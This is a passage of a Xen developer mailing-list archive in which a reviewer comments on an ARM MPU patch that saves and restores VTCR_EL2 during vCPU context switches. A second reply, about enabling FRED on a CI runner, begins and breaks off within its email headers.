 (10.181.42.217) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 11:08:24 -0500
Received: from satlexmb07.amd.com (10.181.42.216) by satlexmb10.amd.com
 (10.181.42.219) with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.2.2562.41; Fri, 10 Jul
 2026 11:08:24 -0500
Received: from [10.71.198.170] (10.180.168.240) by satlexmb07.amd.com
 (10.181.42.216) with Microsoft SMTP Server id 15.2.2562.41 via Frontend
 Transport; Fri, 10 Jul 2026 11:08:23 -0500
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=amd.com header.i="@amd.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=F8v1CTeZkXaxID60fuHbV3yr2RgBm1a305mnCKbu++r7TWRk40SOWaE2vfkWKRq1nuTGsbPFP9GJyB+MU87+yANuh2Kd8AJ6q52RHLo6gshSaV2bAKsjdAqbo4A4eMewm0Pdnn/p8Jvf0UZKJa9D7KfXzw91TBc2NvlgeWyKI2Ld+cK+YDDSk+A6TIU+kfH39L+/VPJjsLO48p3P0MpKhDmMRrpydTZKL5MXu91hG5C1/ncMpg1LKly8fg/rU3SfCACtG3UIHxlhgQsMJi4bUG8I50YEAIry1l3Wzfyvl3xgonWPp6WUVM1VF0cXDDxIPDHbZ5Agj1ot0tbxp0MaAg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=Q9OADA1cNgoK6OKrhNzNUPutpeu3/dqCjn6Z/Yrmr80=;
 b=sf4DSubFZc9IXuK/XfRbaxtcyCx5kZjaDQTI/l7PE6aQ/U5JtjJN9T3XAH4obXphUH8OK9Y6h9WO0FYepuUtSnEHquuEFa9xIEY+NMakTgkZ7i5UJCntSkn4DNpfrkEWv01F43IfiOaqulcjuzI2qB9bLbXnSqXBZTu4gJgGoKZeV/z9DmrQqZ10nLBCpfzSUgjAAxd3XAvXOy7bfirAEaSkFI3cADqdAeFElSHVg9lmzAgOWxFqd3UANTNgHoY6XLY7L+xAZck17plX6r2TLfYK4UMMSyhxSYkdiO4U4DfmEO50Cru0olu5KLhUk5/O/hVDrULD6msDZkcx7pI7tQ==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 165.204.84.17) smtp.rcpttodomain=arm.com smtp.mailfrom=amd.com; dmarc=pass
 (p=quarantine sp=quarantine pct=100) action=none header.from=amd.com;
 dkim=none (message not signed); arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=amd.com; s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=Q9OADA1cNgoK6OKrhNzNUPutpeu3/dqCjn6Z/Yrmr80=;
 b=KWePrekJqxVcZCAPhuZRiKYlp9EEgCEYEkgWECS9+ClzgL2Pz4CQdukOSjr3iIcPLyiSwlcldSuuiU9H2YgvAgp3W/Zui9rgaAENOqFhDWhS4FOEyJIbBv3zPVEjSOp2MUEELmD3bYusLyi9+/DwDH/LQKbQtyQFaPkirkZVxKo=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 165.204.84.17)
 smtp.mailfrom=amd.com; dkim=none (message not signed)
 header.d=none;dmarc=pass action=none header.from=amd.com;
Received-SPF: Pass (protection.outlook.com: domain of amd.com designates
 165.204.84.17 as permitted sender) receiver=protection.outlook.com;
 client-ip=165.204.84.17; helo=satlexmb08.amd.com; pr=C
Message-ID: <5dd152dd-c70e-4979-9ff4-8bb027bb2da6@amd.com>
Date: Fri, 10 Jul 2026 17:08:22 +0100
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH 8/8] arm/mpu: Save/restore VTCR_EL2 on vCPU context switch
To: Luca Fancellu <luca.fancellu@arm.com>, <xen-devel@lists.xenproject.org>
CC: Stefano Stabellini <sstabellini@kernel.org>, Julien Grall
	<julien@xen.org>, Bertrand Marquis <bertrand.marquis@arm.com>, Michal Orzel
	<michal.orzel@amd.com>, Volodymyr Babchuk <Volodymyr_Babchuk@epam.com>
References: <20260420142524.1804073-1-luca.fancellu@arm.com>
 <20260420142524.1804073-9-luca.fancellu@arm.com>
Content-Language: en-US
From: "Halder, Ayan Kumar" <ayankuma@amd.com>
In-Reply-To: <20260420142524.1804073-9-luca.fancellu@arm.com>
Content-Type: text/plain; charset="UTF-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CY4PEPF0000E9D6:EE_|SA3PR12MB8048:EE_
X-MS-Office365-Filtering-Correlation-Id: 8bdf5ac7-f3fa-43cd-2125-08dede9d7960
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|1800799024|36860700016|82310400026|11063799006|4143699003|56012099006|6133799003|18002099003|22082099003;
X-Microsoft-Antispam-Message-Info:
	08hlzuvB5Gwa17PKbLUBHHFVe/e4/G/CmAbcqIvspEDH+DxRZ+eZeu8h0hGD+ooZvYtM8aPmBa384lKBs6ObccgqPo73d5gvxYjj7zn4kXPXDZ0jRyXBFWKQtv350UtGltDnonZ5FrxZ5l9V7XsC15jhgCFTvz4xnhN1SqqRIwdJU5tYNiCC5UFbAL3EuEOIw+DcrZQLuWz3n/2Q05Qv27SxYllIVaaptXepIjAlT5sFjyBmXi1MDCZGOOssK6tFiCYMP4rvn/6CS1jLRy4P/7zgKlmuL8UiLzWANQFwW0cC/gcSH3yChLJZAsYuhSgDhh7dwAVDuzLU5o0MIYGSJscD+lFOFv8t22GStAGOC/CUuHqHKmbEwCu7KFeLdpD5pXhSyMwDUIPSq3iNC0sp2XqJNjox1EwTC09haiv/er9Bqe3N7jwbveZZz20YrUCmz4JwSO56p12mGXLLNNy7HOb+3LedVenDYtSIR1TNJh/+KiMFF/qWTTApFbH+ixNeCt02KO5on/myklLvaenWpkR1Nl0w7a9S1esOT5nEpWL7u0jxLuGijF28mmtaY0EBjubKQzIYYdP0t1lKmUHqX2l2TuFR9r2oVaXFPOdl1DeojbhzM9oO4hscowvzR6FGPl3IDJZOFgTDkL0SyP/HmD0BIaVriYWw66aBXsYAJW7/Gj9gNllZ0RelJETPSKhD
X-Forefront-Antispam-Report:
	CIP:165.204.84.17;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:satlexmb08.amd.com;PTR:InfoDomainNonexistent;CAT:NONE;SFS:(13230040)(376014)(23010399003)(1800799024)(36860700016)(82310400026)(11063799006)(4143699003)(56012099006)(6133799003)(18002099003)(22082099003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	TMMFRNTPTNhn2OGTWt5Sqvt4S1qcCoeLtieRzV5jGVW8BDIt00tPfx/7UAG2VvtZMXiWqFmtlFJ+jtVraY8UP+tA+3LKp7rRB7liLsahBBBAZMtiFVoT+3ZUmOSLFxS0KRJlPGxwYoXFDYZhI5bqYQXu3piWuOFFTAtmuNPQPqY/JL8/zGJ/L+uMaf4huD7qFGiPPAxoy5LAViQZBRCocvQ8yd4dF3cYHcdWetWnlmy+9t2u8zJmB/HdmHArnINIk5/GOpjofnk2mwB2xSn2+8HltHs/s+/ejvz7cRfr/m7pw7FqJpPNY1RtgKzhoaol3JrOwSXlxZSjsNGStRX9p4El4yG7EbXLpWSRd5BU3diz02ARQxCTfw4rR5sbcwzDnLd3Y35hiSB5RnjuScfUc8kg7LUOdbBfhCsrnJttchF7s2zzWxDzheAjs1mo33sr
X-OriginatorOrg: amd.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 10 Jul 2026 16:08:25.9879
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: 8bdf5ac7-f3fa-43cd-2125-08dede9d7960
X-MS-Exchange-CrossTenant-Id: 3dd8961f-e488-4e60-8e11-a82d994e183d
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=3dd8961f-e488-4e60-8e11-a82d994e183d;Ip=[165.204.84.17];Helo=[satlexmb08.amd.com]
X-MS-Exchange-CrossTenant-AuthSource:
	CY4PEPF0000E9D6.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SA3PR12MB8048
X-purgate-ID: tlsNG-4011c0/1783699717-3FB65248-B857455E/0/0
X-purgate-type: clean
X-purgate-size: 7566

Hi Luca,

On 20/04/2026 15:25, Luca Fancellu wrote:
> On AArch64 MPU systems, the VTCR register contains the MSA bit that determines
> if the guest is using MPU or MMU at EL1, which is required to be
> saved/restored on vCPU context switch.
>
> On AArch64 MPU systems the VTCR_EL2 register configuration will be saved
> during setup_virt_paging and will be placed in a new member of
> 'struct arch_vcpu' named vtcr_el2, to be retrieved by context switch.
>
> AArch32 MPU systems and MMU systems don't need to save/restore this
> register because they don't have any MSA bit and related functionality,
> so for these architecture a stub is provided.
>
> Signed-off-by: Luca Fancellu <luca.fancellu@arm.com>
> ---
>   xen/arch/arm/arm64/mpu/p2m.c                | 15 +++++++++++++++
>   xen/arch/arm/domain.c                       |  2 ++
>   xen/arch/arm/include/asm/domain.h           |  5 +++++
>   xen/arch/arm/include/asm/mmu/domain-build.h |  2 ++
>   xen/arch/arm/include/asm/mpu/domain-build.h |  6 ++++++
>   xen/arch/arm/include/asm/mpu/p2m.h          | 10 ++++++++++
>   xen/arch/arm/mpu/domain-build.c             | 17 +++++++++++++++++
>   xen/arch/arm/mpu/p2m.c                      |  4 ++++
>   8 files changed, 61 insertions(+)
>
> diff --git a/xen/arch/arm/arm64/mpu/p2m.c b/xen/arch/arm/arm64/mpu/p2m.c
> index a1ec9fcd6195..350cbd7ae94c 100644
> --- a/xen/arch/arm/arm64/mpu/p2m.c
> +++ b/xen/arch/arm/arm64/mpu/p2m.c
> @@ -3,8 +3,12 @@
>   #include <xen/bug.h>
>   #include <xen/init.h>
>   #include <xen/lib.h>
> +#include <xen/sched.h>
>   #include <asm/p2m.h>
>   
> +/* VTCR_EL2 value to be configured for the boot CPU. */
> +register_t __read_mostly vtcr;
> +
>   void __init setup_virt_paging(void)
>   {
>       register_t vtcr_el2 = READ_SYSREG(VTCR_EL2);
> @@ -58,6 +62,7 @@ void __init setup_virt_paging(void)
>       else
>           vtcr_el2 &= ~VTCR_VS;
>   
> +    vtcr = vtcr_el2;
>       WRITE_SYSREG(vtcr_el2, VTCR_EL2);
>   
>       p2m_vmid_allocator_init();
> @@ -89,6 +94,16 @@ void __init setup_virt_paging(void)
>       panic("Hardware with no PMSAv8-64 support in any translation regime\n");
>   }
>   
> +void p2m_save_vtcr(struct vcpu *p)
> +{
> +    p->arch.vtcr_el2 = READ_SYSREG(VTCR_EL2);
> +}
> +
VTCR_EL2 is an EL2 register the guest cannot touch, and set_v8r_vtcr_msa()
already fixes each vCPU's value at creation. Reading it back on every 
save is
redundant
> +void p2m_restore_vtcr(struct vcpu *n)
> +{
> +    WRITE_SYSREG(n->arch.vtcr_el2, VTCR_EL2);
> +}
> +
>   /*
>    * Local variables:
>    * mode: C
> diff --git a/xen/arch/arm/domain.c b/xen/arch/arm/domain.c
> index 221b1f8a7f9d..e928301d7cb0 100644
> --- a/xen/arch/arm/domain.c
> +++ b/xen/arch/arm/domain.c
> @@ -538,6 +538,8 @@ int arch_vcpu_create(struct vcpu *v)
>       if ( get_ssbd_state() == ARM_SSBD_RUNTIME )
>           v->arch.cpu_info->flags |= CPUINFO_WORKAROUND_2_FLAG;
>   
> +    arch_set_vtcr_msa(v);
> +
>       if ( is_mpu_domain(v->domain) )
>           allocate_el1_mpu_regions(v);
>   
> diff --git a/xen/arch/arm/include/asm/domain.h b/xen/arch/arm/include/asm/domain.h
> index 44c304ef8aa9..3ab004518427 100644
> --- a/xen/arch/arm/include/asm/domain.h
> +++ b/xen/arch/arm/include/asm/domain.h
> @@ -203,6 +203,11 @@ struct arch_vcpu
>       uint32_t cpacr;
>   
>   #ifdef CONFIG_MPU
> +#ifdef CONFIG_ARM_64
> +    /* Virtualization Translation Control Register */
> +    uint64_t vtcr_el2;
> +#endif
> +
>       /* EL1 MPU memory regions */
>       pr_t *mpu_regions;
>   #endif
> diff --git a/xen/arch/arm/include/asm/mmu/domain-build.h b/xen/arch/arm/include/asm/mmu/domain-build.h
> index 3e0d9a6a2a08..0919c0097da9 100644
> --- a/xen/arch/arm/include/asm/mmu/domain-build.h
> +++ b/xen/arch/arm/include/asm/mmu/domain-build.h
> @@ -34,6 +34,8 @@ int arch_set_v8r_el1_msa(struct domain *d,
>       return 0;
>   }
>   
> +static inline void arch_set_vtcr_msa(struct vcpu *v) {}
> +
>   #endif /* __ARM_MMU_DOMAIN_BUILD_H__ */
>   
>   /*
> diff --git a/xen/arch/arm/include/asm/mpu/domain-build.h b/xen/arch/arm/include/asm/mpu/domain-build.h
> index 463cd85b5b7e..8d3a743219ce 100644
> --- a/xen/arch/arm/include/asm/mpu/domain-build.h
> +++ b/xen/arch/arm/include/asm/mpu/domain-build.h
> @@ -15,6 +15,12 @@ int arch_set_v8r_el1_msa(struct domain *d,
>                            const struct xen_domctl_createdomain *config,
>                            unsigned int flags);
>   
> +#ifdef CONFIG_ARM_64
> +void arch_set_vtcr_msa(struct vcpu *v);
> +#else
> +static inline void arch_set_vtcr_msa(struct vcpu *v) {}
> +#endif
> +
>   #endif /* __ARM_MPU_DOMAIN_BUILD_H__ */
>   
>   /*
> diff --git a/xen/arch/arm/include/asm/mpu/p2m.h b/xen/arch/arm/include/asm/mpu/p2m.h
> index d0ec8a77a15a..1628148ba578 100644
> --- a/xen/arch/arm/include/asm/mpu/p2m.h
> +++ b/xen/arch/arm/include/asm/mpu/p2m.h
> @@ -9,6 +9,8 @@
>   
>   struct p2m_domain;
>   
> +extern register_t vtcr;
> +
>   /*
>    * The architecture allows at most 255 EL2 MPU memory regions. The size of the
>    * MPU structure entry (pr_t) is 32 Bytes on AArch64 (requiring two 4KB pages)
> @@ -36,6 +38,14 @@ static inline bool region_is_p2m_valid(pr_t *pr)
>       return (pr->p2m_type != p2m_invalid);
>   }
>   
> +#ifdef CONFIG_ARM_64
> +void p2m_save_vtcr(struct vcpu *p);
> +void p2m_restore_vtcr(struct vcpu *n);
> +#else
> +static inline void p2m_save_vtcr(struct vcpu *p) {}
> +static inline void p2m_restore_vtcr(struct vcpu *n) {}
> +#endif
> +
>   #endif /* __ARM_MPU_P2M_H__ */
>   
>   /*
> diff --git a/xen/arch/arm/mpu/domain-build.c b/xen/arch/arm/mpu/domain-build.c
> index 1bdd0ffedebb..19e504f7149e 100644
> --- a/xen/arch/arm/mpu/domain-build.c
> +++ b/xen/arch/arm/mpu/domain-build.c
> @@ -8,6 +8,7 @@
>   #include <xen/sched.h>
>   #include <asm/mpu.h>
>   #include <asm/mpu/domain-build.h>
> +#include <asm/mpu/p2m.h>
>   #include <public/arch-arm.h>
>   #include <public/domctl.h>
>   
> @@ -66,6 +67,22 @@ int arch_set_v8r_el1_msa(struct domain *d,
>       return 0;
>   }
>   
> +#ifdef CONFIG_ARM_64
> +void arch_set_vtcr_msa(struct vcpu *v)
> +{
> +    /*
> +     * When ID_AA64MMFR0_EL1.MSA_frac is 0b0010 (MM64_MSA_FRAC_VMSA_SUPPORT),
> +     * then VTCR_EL2.MSA determines the memory system architecture enabled
> +     * at stage 1 of the Secure EL1&0 translation regime.
> +     */
> +    v->arch.vtcr_el2 = vtcr;
> +    if ( is_mpu_domain(v->domain) )
> +        v->arch.vtcr_el2 &= ~VTCR_MSA;
> +    else
> +        v->arch.vtcr_el2 |= VTCR_MSA;
> +}
> +#endif
> +
>   /*
>    * Local variables:
>    * mode: C
> diff --git a/xen/arch/arm/mpu/p2m.c b/xen/arch/arm/mpu/p2m.c
> index 06c92a3ef41b..b41abd8f2d37 100644
> --- a/xen/arch/arm/mpu/p2m.c
> +++ b/xen/arch/arm/mpu/p2m.c
> @@ -357,6 +357,8 @@ void p2m_save_state(struct vcpu *p)
>   
>       p->arch.sctlr = READ_SYSREG(SCTLR_EL1);
>   
> +    p2m_save_vtcr(p);
> +
>       if ( p2m_xenmpu_update(p2m, false) )
>           panic("Failed to offline P2M MPU memory mapping\n");
>   }
> @@ -369,6 +371,8 @@ void p2m_restore_state(struct vcpu *n)
>       WRITE_SYSREG(n->arch.sctlr, SCTLR_EL1);
>       WRITE_SYSREG(n->arch.hcr_el2, HCR_EL2);
>   
> +    p2m_restore_vtcr(n);
> +
>       WRITE_SYSREG(p2m->vsctlr, VSCTLR_EL2);
>       if ( p2m_xenmpu_update(p2m, true) )
>           panic("Failed to online P2M MPU memory mapping\n");
- Ayan


From xen-devel-bounces@lists.xenproject.org Fri Jul 10 16:15:31 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Fri, 10 Jul 2026 16:15:31 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1359626.1613121 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDss-0004Sv-Lm; Fri, 10 Jul 2026 16:15:26 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1359626.1613121; Fri, 10 Jul 2026 16:15:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wiDss-0004So-HT; Fri, 10 Jul 2026 16:15:26 +0000
Received: by outflank-mailman (input) for mailman id 1359626;
 Fri, 10 Jul 2026 16:15:25 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrew.cooper@citrix.com>) id 1wiDsr-0004Sh-Nb
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 16:15:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wiDsq-006ouY-V8
 for xen-devel@lists.xenproject.org; Fri, 10 Jul 2026 18:15:24 +0200
Received: from [10.42.69.11] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a511a96-5cb7-0a2a0a5109dd-0a2a450be0e8-10
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:15:24 +0200
Received: from [52.101.43.39]
 (helo=SJ2PR03CU001.outbound.protection.outlook.com)
 by tlsNG-42698a.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.2)
 (envelope-from <andrew.cooper@citrix.com>)
 id 6a511a9b-b7da-0a2a450b0019-34652b27fe65-3
 for <xen-devel@lists.xenproject.org>; Fri, 10 Jul 2026 18:15:24 +0200
Received: from IA1PR03MB8288.namprd03.prod.outlook.com (2603:10b6:208:59e::6)
 by CH8PR03MB8324.namprd03.prod.outlook.com (2603:10b6:610:2ba::9)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.181.11; Fri, 10 Jul
 2026 16:15:20 +0000
Received: from IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599]) by IA1PR03MB8288.namprd03.prod.outlook.com
 ([fe80::b5ee:28c6:e04b:5599%3]) with mapi id 15.21.0181.012; Fri, 10 Jul 2026
 16:15:20 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=r809MHsVQ7+JwKnxzgYr+Rsdg3TZYC+VZ0pWyRwhYVjj/NxnS6vOGSg4HHqKrwycXYq6pULLvwXnL5FNNdsgGqs03kcZ5/drEGQmOSoxx6J0syNEnLwDTnasF8yQSiUQBItEnqhd39u/WMj+6A69hntqAIGCVru1RF8C4G3q3RhsKjKLXbKJBdqCGsqHYD5ajCRep0A1EGqXCuYxutTiFrxfI0N4miby7yRafVWX+YY8607LnNan9a4u2X1MdQXQX6yaY3K30E+U3AsmwOdoyAXT3qM1F61wGb7dNsWg2cos//ntM37ZOx3xRNfJVpvytkAiXeQqBwJQfYLojqDQTg==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=2qhWqKA9sH5B/1LWeYbmdxMTMq3OrDnSgXno1230JJ0=;
 b=ugwb+/oyu4WE1jfbFTKjF/FjRBA+KEs44TAk23CeYyjDmtHsLO6ZFzRo6e95r7js8qOXgVN0gMKl7Dc5Drt2XfN3CQ3x3Q71x9XpDaFgY3cLFJpMaUfs4G3EmC/asOXh6xPHeHUjGU46COGWXomkCKe1owOI0ZonxTAHO2d/6XRXygnpbQgdSaGRl4C2UB9cR8o/Lp2sG2slRTl2IJLBBD7ifGMBMKJhFNnLDgDHCVLI3+imhaYej+1mBYDEQrrhCjEqjE89ROioCAc5RPKPw9DcAUPfwed+XdSHXLKloMrQ8NbbCNoJeXnxY+nHsld2PJLbB0B4uWL34zjblIQX+A==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=2qhWqKA9sH5B/1LWeYbmdxMTMq3OrDnSgXno1230JJ0=;
 b=DQBXGoJQHpyaW8dcTFV93a0CkbBCBYFklWbsAdJqkPG7njvQ/y6RWJNdIBopsVpqRC4qHjbXlAN/tQjPBAZRNohUAZc6NJzdOBOB5sc4bULb3eBvoMvj605pwV5xa/tFAhaGMWTZ0rdJxtLy718AbGOtmVmI0wPNBnIAfHrdG+4=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
Message-ID: <ccc8ef59-d956-4a70-9fb9-bba241087c16@citrix.com>
Date: Fri, 10 Jul 2026 17:15:17 +0100
User-Agent: Mozilla Thunderbird
Cc: Andrew Cooper <andrew.cooper3@citrix.com>,
 Stefano Stabellini <sstabellini@kernel.org>,
 Doug Goldstein <cardoe@cardoe.com>
Subject: Re: [PATCH 2/2] CI: enable FRED on PTL runner
To: =?UTF-8?Q?Marek_Marczykowski-G=C3=B3recki?=
 <marmarek@invisiblethingslab.com>, xen-devel@lists.xenproject.org
References: <cover.2e3d53e8679d3686e3f6579df0c7acb781c92701.1783626895.git-series.marmarek@invisiblethingslab.com>
 <6f41b87651f282ac118c17b1562251f7d74c9496.1783626895.git-series.marmarek@invisiblethingslab.com>
Content-Language: en-GB
From: Andrew Cooper <andrew.cooper3@citrix.com>
Autocrypt: addr=andrew.cooper3@citrix.com; keydata=
 xsFNBFLhNn8BEADVhE+Hb8i0GV6mihnnr/uiQQdPF8kUoFzCOPXkf7jQ5sLYeJa0cQi6Penp
 VtiFYznTairnVsN5J+ujSTIb+OlMSJUWV4opS7WVNnxHbFTPYZVQ3erv7NKc2iVizCRZ2Kxn
 srM1oPXWRic8BIAdYOKOloF2300SL/bIpeD+x7h3w9B/qez7nOin5NzkxgFoaUeIal12pXSR
 Q354FKFoy6Vh96gc4VRqte3jw8mPuJQpfws+Pb+swvSf/i1q1+1I4jsRQQh2m6OTADHIqg2E
 ofTYAEh7R5HfPx0EXoEDMdRjOeKn8+vvkAwhviWXTHl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uW+e5KCA
 vTArRUdCrAtIa1k01sPipPPw6dfxx2e5asy21YOytzxuWFfJTGnVxZZSCyLUO83sh6OZhJkk
 b9rxL9wPmpN/t2IPaEKoAc0FTQZS36wAMOXkBh24PQ9gaLJvfPKpNzGD8XWR5HHF0NLIJhgg
 4ZlEXQ2fVp3XrtocHqhu4UZR4koCijgB8sB7Tb0GCpwK+C4UePdFLfhKyRdSXuvY3AHJd4CP
 4JzW0Bzq/WXY3XMOzUTYApGQpnUpdOmuQSfpV9MQO+/jo7r6yPbxT7CwRS5dcQPzUiuHLK9i
 nvjREdh84qycnx0/6dDroYhp0DFv4udxuAvt1h4wGwTPRQZerSm4xaYegEFusyhbZrI0U9tJ
 B8WrhBLXDiYlyJT6zOV2yZFuW47VrLsjYnHwn27hmxTC/7tvG3euCklmkn9Sl9IAKFu29RSo
 d5bD8kMSCYsTqtTfT6W4A3qHGvIDta3ptLYpIAOD2sY3GYq2nf3Bbzx81wZK14JdDDHUX2Rs
 6+ahAA==
In-Reply-To: <6f41b87651f282ac118c17b1562251f7d74c9496.1783626895.git-series.marmarek@invisiblethingslab.com>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
X-ClientProxiedBy: LO4P123CA0335.GBRP123.PROD.OUTLOOK.COM
 (2603:10a6:600:18c::16) To IA1PR03MB8288.namprd03.prod.outlook.com
 (2603:10b6:208:59e::6)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: IA1PR03MB8288:EE_|CH8PR03MB8324:EE_
X-MS-Office365-Filtering-Correlation-Id: b279df02-9197-4467-d5da-08dede9e7015
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|376014|23010399003|366016|1800799024|22082099003|18002099003|56012099006|11063799006|4143699003;
X-Microsoft-Antispam-Message-Info:
	mBD52UY1YxeE5m5nr19P9u1uy9nI9/vRQuExLMd+L/vpAdxqZmRR9Sv9cER2eIQeRW4zsR9x6aa1iGjLU9pSS0OE/Br8v3mcfF0MCy4kq0U7bjMedejyEbvFDKMWkvDX+7DjTVTVdMuwG7kba6BLfbBCeSF++A29GVaD92kjw2i4uUMGm8vJJ8DBSrLTQZRF04I2l8oQ5T2pSMJUf6Rnr9seaMVukD8prwR0QCS41qrMHqj1+EeB+pohDitmlQMmUdIWWziNMOUHT9uoMoVLuU5n+XhNYcyj62pUqrAKngQ8utHUai7k+burUWCRsH0Dn2f+9Z+Rc9L0e6nnpqF7xuCN+ZGnPLv1SLqeu920tWxbHbTTVqcn62A0dZqi52guT0SL5y72ybyQcXkj13xTqh0s/3pBX30deWVhxnhas8UipqHrWgXnpmWHMn+W3eu0tIrIyd9qR6E7AzhlNJ9/+6G69S+1O80dpVdjEU18tQ854ARgn42pvepUQubv69RuCGNfXgaKhI4hH+cApdk3KjEK9eFn5ap6Vl9TSJ/sEbdzWeR8N5lzm/ds1KP5lHDgut8OzdWJly4qcKUe4SsnZDNCn77quxm3prLKZV+++kkekgUmvonVZbxck/+3FDgODebeubJga8KBScW/qqkA+iVZxktQmRW/LxdV3jyrYfA=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:IA1PR03MB8288.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(376014)(23010399003)(366016)(1800799024)(22082099003)(18002099003)(56012099006)(11063799006)(4143699003);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
